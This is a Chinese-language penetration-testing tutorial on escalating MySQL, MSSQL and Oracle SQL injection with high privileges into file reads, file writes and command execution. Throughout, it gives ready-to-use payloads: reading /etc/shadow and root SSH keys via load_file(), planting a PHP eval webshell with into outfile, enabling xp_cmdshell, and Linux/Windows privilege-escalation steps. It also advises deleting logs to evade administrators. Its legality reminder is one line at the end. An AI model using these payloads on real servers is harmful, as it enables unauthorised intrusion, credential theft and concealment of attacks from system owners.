高权限利用:文件读写与命令执行(进阶实战)
高权限利用:文件读写与命令执行(进阶实战)
在SQL注入进阶实战中,低权限注入仅能获取基础数据,而高权限利用(文件读写、命令执行)是突破边界、实现深度控制的核心——当注入漏洞获得数据库高权限(如MySQL的root、MSSQL的sa)后,可通过文件读写获取系统敏感信息、写入恶意脚本,最终实现命令执行,完全控制目标服务器。本篇章聚焦高权限利用的完整流程,从文件读取、文件写入、命令执行三个核心模块,拆解前提条件、实战手法、限制绕过及差异点,结合实战场景落地,帮助掌握高权限利用的闭环技巧。
1. 文件读取(高权限基础:窃取敏感信息)
文件读取是高权限利用的第一步,核心是通过数据库提供的文件读取函数,读取目标服务器的本地文件,获取网站配置、系统密钥、日志等敏感信息,为后续文件写入、命令执行铺垫。不同数据库的文件读取函数不同,其中MySQL的load_file()最常用,重点聚焦MySQL场景,补充其他数据库差异。
1.1 MySQL:load_file() 前提条件(核心重点)
load_file()是MySQL中用于读取本地文件的核心函数,但其执行需满足4个严格前提,缺一不可(实战中需逐一验证,否则函数执行失败):
- 权限前提:数据库用户必须拥有
FILE权限(高权限标志,root用户默认拥有,普通用户需手动授予),可通过以下SQL语句查询当前用户权限:
select file_priv from mysql.user where user='当前用户名' and host='localhost';
若查询结果为Y,则拥有FILE权限;为N,则无权限,无法执行load_file()。
路径前提:必须指定文件的绝对路径(相对路径无法识别),如
C:/Windows/system32/drivers/etc/hosts(Windows)、/etc/passwd(Linux),路径错误会直接返回NULL。文件权限前提:目标文件需具备“数据库进程可读取”权限(操作系统层面):
Linux系统:文件权限至少为
644(所有者可读可写,其他用户可读),若权限为600,仅所有者可读取,数据库进程无法读取;Windows系统:文件需授予“Everyone”可读权限,或数据库进程所属用户(如mysql用户)拥有该文件的读取权限。
其他限制:MySQL的
my.cnf(Linux)/my.ini(Windows)配置文件中,若开启了secure_file_priv参数且指定了目录,load_file()仅能读取该目录下的文件;若secure_file_priv=NULL,则禁止所有文件读取操作(无法绕过)。
补充:若secure_file_priv参数为空(secure_file_priv=),则无目录限制,可读取服务器任意可访问文件(最佳利用场景)。
1.2 常见读取路径(实战可直接复用)
文件读取的核心价值的是获取“敏感且有用”的文件,结合Windows、Linux系统差异,整理以下高频读取路径,覆盖网站配置、系统密钥、日志等核心场景,按利用优先级排序:
(1)网站配置文件(最核心,优先读取)
用于获取网站数据库账号密码、后台路径、中间件配置等信息,后续可直接登录后台或进一步利用,常见路径:
PHP网站(最常见):
Linux:
/var/www/html/config.php(Apache默认网站根目录)、/www/wwwroot/网站域名/config.php(宝塔面板部署路径);Windows:
C:/phpStudy/WWW/config.php(phpStudy集成环境)、C:/wamp/www/config.php(WAMP集成环境)。Java网站:
Linux:
/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml、/usr/local/tomcat/conf/server.xml;Windows:
C:/Tomcat/webapps/ROOT/WEB-INF/web.xml。Python网站:
/var/www/flask/app/config.py(Flask框架)、/var/www/django/settings.py(Django框架)。
(2)系统配置文件(获取系统核心信息)
用于了解系统版本、用户信息、权限配置,为后续提权铺垫:
Linux系统(高频):
/etc/passwd(系统用户列表,可获取所有用户账号,无密码明文);/etc/shadow(用户密码哈希值,需破解,root用户可读取);/etc/my.cnf(MySQL配置文件,可能包含root密码);/proc/version(系统内核版本,提权漏洞挖掘关键)。Windows系统(高频):
C:/Windows/system32/drivers/etc/hosts(系统hosts文件,可了解域名解析配置);C:/Windows/system32/config/SYSTEM(系统注册表文件,包含系统核心配置);C:/ProgramData/MySQL/MySQL Server 8.0/my.ini(MySQL8.0配置文件)。
(3)日志文件(获取操作痕迹、敏感数据)
系统、中间件、数据库的日志文件,可能包含用户登录记录、敏感操作、甚至密码明文(概率较低,但值得尝试):
MySQL日志:
/var/log/mysql/error.log(Linux)、C:/ProgramData/MySQL/MySQL Server 8.0/Data/localhost.err(Windows);Apache日志:
/var/log/apache2/access.log(访问日志)、/var/log/apache2/error.log(错误日志);Windows系统日志:
C:/Windows/System32/winevt/Logs/Security.evtx(安全日志,记录用户登录、权限变更)。
(4)密钥/凭证文件(高价值,可直接复用)
用于获取服务器、数据库、第三方服务的密钥,实现免密登录或权限提升:
Linux:
/root/.ssh/id_rsa(root用户SSH私钥,获取后可直接SSH登录服务器)、/home/普通用户/.ssh/id_rsa;Windows:
C:/Users/Administrator/.ssh/id_rsa(管理员SSH私钥)、C:/Windows/System32/config/SAM(用户密码哈希存储文件)。
1.3 绝对路径获取手法(实战关键,必掌握)
load_file()必须使用绝对路径,若不知道目标服务器的文件绝对路径,无法执行文件读取,以下5种手法覆盖所有实战场景,优先使用前3种(简单高效):
(1)报错注入获取路径(最常用,优先尝试)
利用报错注入函数(updatexml()、extractvalue()),构造错误的文件路径或SQL语句,触发报错,让服务器返回网站绝对路径(多数网站报错会泄露路径)。
实战Payload(MySQL,结合注入漏洞):
id=1' and updatexml(1,concat(0x7e,(select @@datadir),0x7e),1)--+
解析:@@datadir是MySQL系统变量,返回MySQL数据存储目录,通过该目录可推导网站路径(如MySQL目录为/var/lib/mysql/,则网站路径大概率为/var/www/html/)。
补充Payload(直接触发网站报错):id=1' and 1=load_file('/test/test.txt')--+,若文件不存在,报错可能返回“/test/test.txt不存在,当前路径为/var/www/html/”。
(2)利用网站报错页面获取路径
人为制造网站错误,触发默认报错页面,多数PHP、Java网站的报错页面会直接泄露网站绝对路径:
PHP网站:在URL后添加错误参数(如
index.php?id=123')、访问不存在的PHP文件(如test.php),报错页面可能显示“Warning: xxx in /var/www/html/index.php on line 10”,其中/var/www/html/index.php即为绝对路径;Java网站:访问不存在的路径(如
/testabc),Tomcat默认报错页面会显示“org.apache.catalina.core.ApplicationContext log: Path /testabc does not exist”,结合中间件配置可推导网站根目录。
(3)查询数据库系统变量获取路径
通过查询MySQL系统变量,获取与路径相关的信息,间接推导目标文件绝对路径,常用系统变量:
@@datadir:MySQL数据存储目录(必查);@@basedir:MySQL安装目录;@@tmpdir:MySQL临时文件目录;Payload:
id=1' union select 1,@@datadir,3--+(需有回显,或结合盲注猜解)。
(4)结合中间件默认路径推导
不同中间件(Apache、Nginx、Tomcat)有默认的网站根目录,若知道目标使用的中间件,可直接推导路径,后续验证即可:
Apache默认路径:Linux(
/var/www/html/)、Windows(C:/Apache/htdocs/);Nginx默认路径:Linux(
/usr/share/nginx/html/)、Windows(C:/Nginx/html/);Tomcat默认路径:Linux(
/usr/local/tomcat/webapps/ROOT/)、Windows(C:/Tomcat/webapps/ROOT/)。
(5)暴力猜解路径(备用方案)
若以上方法均无效,可使用工具(如Burp Suite)暴力猜解绝对路径,结合常见路径字典(如宝塔面板路径、集成环境路径),重点猜解网站配置文件路径,效率较低,但可作为备用。
1.4 实战案例(MySQL文件读取闭环)
场景:已发现MySQL注入漏洞,当前数据库用户为root(拥有FILE权限),
secure_file_priv=(无目录限制),通过报错注入获取网站路径为/var/www/html/;目标:读取网站配置文件
config.php,获取数据库账号密码;Payload:
id=1' union select 1,load_file('/var/www/html/config.php'),3--+;执行结果:页面回显
config.php文件内容,包含$dbuser='root'、$dbpass='123456',成功获取敏感信息;后续操作:使用获取的root密码登录MySQL,或进一步执行文件写入操作。
2. 文件写入(高权限核心:植入恶意脚本)
文件写入是高权限利用的核心环节,核心是通过数据库的文件写入函数,将恶意脚本(如Webshell)写入目标服务器的网站根目录,后续通过访问Webshell,实现对服务器的深度控制(如命令执行、文件管理)。MySQL中最常用的是into outfile和into dumpfile,两者用法相似,但有明确差异,需重点区分。
2.1 核心写入函数:into outfile 与 into dumpfile(差异对比)
两者均为MySQL的文件写入函数,前提条件与load_file()基本一致,但适用场景不同,实战中需根据需求选择,详细差异及用法如下:
| 函数名称 | 核心差异 | 适用场景 | 基础语法 |
|---|---|---|---|
| into outfile | 1. 会自动添加换行符(\n);2. 支持批量写入;3. 若目标文件已存在,执行失败(避免覆盖) | 写入文本文件、简单Webshell(如PHP一句话木马),适合批量写入数据 | select '写入内容' into outfile '绝对路径/文件名'; |
| into dumpfile | 1. 不添加任何多余字符(无换行符);2. 仅支持单行写入;3. 若目标文件已存在,执行失败 | 写入二进制文件(如exe、dll)、复杂Webshell,避免换行符破坏脚本语法 | |
补充:两者的前提条件与load_file()完全一致(拥有FILE权限、绝对路径、文件可写入、secure_file_priv无限制),无需重复验证,但需额外满足“目标路径具备写入权限”(操作系统层面)。 |
2.2 写入 Webshell 条件与路径(实战核心)
文件写入的核心目的是植入Webshell,Webshell能否成功执行,取决于“写入条件”和“写入路径”,两者缺一不可,详细说明如下:
(1)写入Webshell的3个核心条件
数据库权限条件:拥有FILE权限(root用户优先),且
secure_file_priv无目录限制(secure_file_priv=);路径权限条件:目标写入路径(通常是网站根目录)需具备“数据库进程可写入”权限:
Linux:网站根目录权限至少为
755(所有者可读可写可执行,其他用户可读可执行),若为700,仅所有者可写入,无法写入;Windows:网站根目录需授予“Everyone”可写入权限,或数据库进程所属用户拥有写入权限。
脚本解析条件:写入的Webshell后缀需与网站脚本语言匹配(如PHP网站写入
.php后缀,Java网站写入.jsp后缀),且中间件(Apache、Nginx)支持该后缀的解析(如Nginx需配置PHP解析规则),否则Webshell无法执行。
(2)最佳写入路径(优先选择,确保可访问)
写入路径必须是“网站根目录或其子目录”,且该路径可通过浏览器访问(否则植入Webshell后无法触发执行),结合系统和中间件,整理以下最佳写入路径(实战可直接复用):
PHP网站(最常用):
Linux:
/var/www/html/shell.php(Apache默认)、/www/wwwroot/网站域名/shell.php(宝塔面板);Windows:
C:/phpStudy/WWW/shell.php(phpStudy)、C:/wamp/www/shell.php(WAMP)。Java网站:
Linux:
/usr/local/tomcat/webapps/ROOT/shell.jsp;Windows:
C:/Tomcat/webapps/ROOT/shell.jsp。备用路径(若根目录无法写入):网站静态资源目录(如
/var/www/html/images/shell.php)、后台上传目录(如/var/www/html/upload/shell.php),需确认该目录可访问且支持脚本解析。
2.3 常见写入位置与绕过写入限制(实战避坑)
实战中,常遇到“根目录无法写入”“secure_file_priv限制”“后缀被拦截”等问题,需掌握常见写入位置和限制绕过手法,确保文件写入成功。
(1)常见写入位置(按优先级排序)
优先级1:网站根目录(直接写入,访问路径简单,如
http://目标IP/shell.php);优先级2:网站子目录(根目录无法写入时,如
/var/www/html/admin/shell.php,需确认子目录可访问);优先级3:中间件临时目录(备用,如Tomcat临时目录
/usr/local/tomcat/work/Catalina/localhost/ROOT/shell.jsp);优先级4:系统临时目录(应急,如Linux
/tmp/shell.php、WindowsC:/Windows/Temp/shell.php,需确认该目录支持脚本解析,概率较低)。
(2)常见写入限制及绕过手法(核心重点)
实战中最常见的3类写入限制,针对性绕过手法如下,可直接复用:
限制1:secure_file_priv参数限制(无法写入任意目录)
表现:secure_file_priv指定了目录(如secure_file_priv=/tmp/),仅能写入该目录,无法写入网站根目录;
绕过手法:
先将Webshell写入
secure_file_priv允许的目录(如/tmp/shell.php);利用数据库触发“文件移动”(如通过存储过程、或结合其他漏洞),将
/tmp/shell.php移动到网站根目录;备用方案:若无法移动,可尝试写入中间件临时目录,结合中间件漏洞触发Webshell执行。
限制2:网站根目录无写入权限(写入失败)
表现:执行into outfile时,返回“Permission denied”(权限拒绝);
绕过手法:
尝试写入网站子目录(如
/var/www/html/upload/shell.php),上传目录通常具备写入权限;利用日志写入(核心技巧):先将Webshell内容写入MySQL日志文件(
/var/log/mysql/error.log),再通过load_file()读取日志文件,写入网站可访问目录;备用方案:写入静态资源目录(如
/var/www/html/images/shell.php),部分网站静态目录开启了脚本解析权限。
限制3:Webshell后缀被拦截(写入后无法解析)
表现:写入.php、.jsp后缀文件时,被中间件或WAF拦截,或写入后无法解析(如返回403、404);
绕过手法:
后缀混淆(如
shell.php5、shell.phtml),部分中间件默认支持这些后缀的PHP解析;大小写混淆(如
shell.PHP、shell.PhP),避开后缀过滤;利用路径解析漏洞(如Nginx解析漏洞):写入
shell.jpg.php,若Nginx配置不当,会优先解析.php后缀;写入无后缀文件,结合中间件默认解析规则(如Apache默认解析
index文件,写入/var/www/html/index,内容为PHP Webshell)。
2.4 实战案例(植入PHP Webshell闭环)
场景:MySQL注入漏洞,root用户(拥有FILE权限),
secure_file_priv=,网站路径为/var/www/html/(PHP网站,Apache中间件,根目录权限755);目标:植入PHP一句话木马,实现后续命令执行;
Payload(into outfile写入):
id=1' union select 1,'<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'--+;验证:浏览器访问
http://目标IP/shell.php,无报错则说明写入成功;使用蚁剑、菜刀等工具,输入URL和密码cmd,连接Webshell,成功后即可执行命令;备用Payload(dumpfile写入,避免换行符):
id=1' union select 1,'<?php @eval($_POST[cmd]);?>' into dumpfile '/var/www/html/shell.php'--+。
3. 命令执行边界(高权限终极利用)
命令执行是高权限利用的终极目标——通过SQL注入植入Webshell后,进一步通过Webshell执行系统命令,实现对目标服务器的完全控制(如创建用户、上传恶意软件、提权等)。但命令执行存在明确边界(权限限制、数据库差异),需掌握完整流程和避坑技巧。
3.1 命令执行完整流程(闭环必记)
SQL注入无法直接执行系统命令,需通过“间接路径”实现,完整流程分为4步,实战中需按顺序执行,缺一不可:
第一步:获取高权限注入漏洞。发现SQL注入漏洞,且数据库用户为高权限(如MySQL root、MSSQL sa),具备文件读写权限;
第二步:文件写入植入Webshell。通过
into outfile/into dumpfile,将Webshell(如PHP一句话、JSP木马)写入网站可访问目录,确保Webshell能成功解析执行;第三步:连接Webshell。使用工具(蚁剑、菜刀、冰蝎)连接植入的Webshell,验证Webshell可用性(如执行简单的文件查看命令);
第四步:Webshell执行系统命令。通过Webshell执行系统命令(如Linux
ls、Windowsdir),实现对服务器的控制,后续可进一步提权。
核心说明:Webshell是“SQL注入”与“命令执行”的桥梁,无Webshell则无法从SQL注入直接过渡到命令执行(部分数据库支持直接命令执行,但实战中极少出现)。
3.2 不同数据库命令执行差异(重点区分)
不同数据库(MySQL、MSSQL、Oracle)的命令执行方式差异较大,其中MySQL无法直接通过SQL语句执行系统命令,需依赖Webshell;MSSQL、Oracle支持直接通过SQL语句执行命令(高权限下),详细差异如下:
(1)MySQL(最常见,需依赖Webshell)
核心特点:MySQL无内置的“系统命令执行函数”,即使是root用户,也无法直接通过SQL语句执行系统命令;
命令执行方式:必须通过“SQL注入→写入Webshell→Webshell执行命令”的路径,无其他直接方式;
Webshell命令执行示例(PHP):
Linux:
system('ls /');(查看根目录文件)、system('whoami');(查看当前用户);Windows:
system('dir C:/');(查看C盘文件)、system('ipconfig');(查看网络配置)。
(2)MSSQL(高权限可直接执行命令)
核心特点:sa用户(最高权限)可通过“存储过程”直接执行系统命令,无需依赖Webshell,效率更高;
常用执行命令的存储过程:
xp_cmdshell(最常用):开启后可直接执行命令,默认关闭,开启Payload:exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;;执行命令Payload:
exec xp_cmdshell 'dir C:/';(Windows)、exec xp_cmdshell 'ls /';(Linux);备用存储过程:
xp_regread(读取注册表)、sp_oacreate(通过COM组件执行命令),用于xp_cmdshell被禁用时。
(3)Oracle(高权限可直接执行命令)
核心特点:sysdba用户(最高权限)可通过“PL/SQL语句”或“存储过程”执行系统命令,需依赖Oracle的外部程序调用功能;
常用执行命令方式:
利用
dbms_system.set_env设置环境变量,结合外部程序执行命令;利用
utl_file函数写入shell脚本,再通过外部调用执行;执行命令示例(Linux):
begin dbms_scheduler.create_job(job_name=>'test',job_type=>'EXECUTABLE',job_action=>'/bin/ls',enabled=>true);end;。
3.3 权限限制与提权思路(实战终极目标)
即使成功执行命令,也会受到“当前用户权限”的限制(如Webshell执行命令的权限,取决于网站进程的权限),多数情况下,初始权限为普通用户,需通过提权获取服务器最高权限(Linux root、Windows Administrator),实现完全控制。
(1)常见权限限制及表现
Linux系统:Webshell执行命令的用户通常是
www-data(Apache/Nginx进程用户),为普通用户,无法执行sudo、useradd等高危命令,无法访问/root目录;Windows系统:Webshell执行命令的用户通常是
IIS_IUSRS(IIS进程用户)或NETWORK SERVICE,为低权限用户,无法创建管理员用户、修改系统配置。
(2)核心提权思路(实战可直接套用)
提权的核心是“利用系统漏洞或配置缺陷,提升当前用户权限”,分为Linux和Windows两大场景,优先使用简单、无残留的提权方式:
① Linux系统提权思路(按优先级排序)
思路1:SUID提权(最常用)。查找系统中具有SUID权限的可执行文件(
find / -perm -u=s -type f 2>/dev/null),利用已知的SUID提权漏洞(如bash、find、cp等命令的SUID漏洞),提升至root权限;思路2:内核漏洞提权。查询系统内核版本(
uname -r),查找对应版本的内核提权漏洞(如Dirty COW、Sudo Baron Samedit),下载提权EXP,执行后提权至root;思路3:sudo配置缺陷提权。查看sudo配置(
sudo -l),若普通用户可免密执行高危命令(如sudo /bin/bash),直接执行sudo bash即可提权至root。
② Windows系统提权思路(按优先级排序)
思路1:烂土豆提权(最常用)。利用Windows COM组件漏洞,通过Webshell执行烂土豆EXP,将当前低权限提升至系统权限(SYSTEM);
思路2:内核漏洞提权。查询系统版本(
systeminfo | findstr /B /C:"操作系统版本"),查找对应版本的内核提权漏洞(如MS17-010、CVE-2021-1732),执行EXP提权;思路3:服务配置缺陷提权。查找具有“可写权限”的系统服务(如
sc qc 服务名),修改服务的可执行路径为恶意程序,重启服务后执行恶意程序,获取系统权限。
3.4 实战注意事项(避坑关键)
权限匹配原则:命令执行的权限取决于“Webshell进程的权限”(MySQL写入Webshell,Webshell权限通常是网站进程权限),而非数据库用户权限,需明确当前权限边界,避免盲目执行高危命令;
避坑要点:
避免直接删除、修改系统核心文件(如
/etc/passwd、C:/Windows/system32下的文件),防止服务器崩溃;执行提权EXP前,先备份相关文件,避免EXP执行失败导致系统异常;
命令执行后,清理操作痕迹(如删除Webshell、清理日志文件),避免被管理员发现;
合法性提醒:高权限利用(文件读写、命令执行)仅用于合法的渗透测试场景,需提前获得目标服务器授权,严禁用于非法攻击,否则将承担相应法律责任;
备用方案:若无法植入Webshell(如路径无写入权限),可尝试读取服务器密钥文件(如SSH私钥),通过SSH登录服务器,间接执行系统命令。
(注:文档部分内容可能由 AI 生成)